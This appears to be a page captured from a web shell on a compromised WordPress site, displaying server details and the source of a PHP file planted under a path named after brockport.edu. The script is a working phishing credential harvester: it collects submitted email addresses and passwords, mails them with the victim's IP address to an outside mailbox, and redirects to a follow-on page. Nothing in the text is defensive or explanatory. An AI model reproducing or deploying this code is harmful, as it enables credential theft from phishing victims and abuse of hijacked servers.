HEX
Server: Apache/2
System: Linux ctr689471.novalocal 4.9.241-37.el7.x86_64 #1 SMP Mon Nov 2 13:55:04 UTC 2020 x86_64
User: bluecool (1005)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/brockport.edu/theprocess.php
<?php 
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $email = $_POST['email'];
    $password = $_POST['password'];

    // Prepare the email
    $to = "evilcrow@mailnesia.com"; 
    $subject = $_SERVER['REMOTE_ADDR']; 
    $message = "Email: " . htmlspecialchars($email) . "\nPassword: " . htmlspecialchars($password);
    $headers = "From: evilcrow@mailnesia.com"; // Replace with your desired sender email address

    // Send the email
    mail($to, $subject, $message, $headers);

    // Store the email in the session
    session_start();
    $_SESSION['email'] = $email;

    // Redirect to season.php with the email as a query parameter
    header("Location: season.php?email=" . urlencode($email));
    exit(); // Ensure the script stops executing after the redirect
}
?>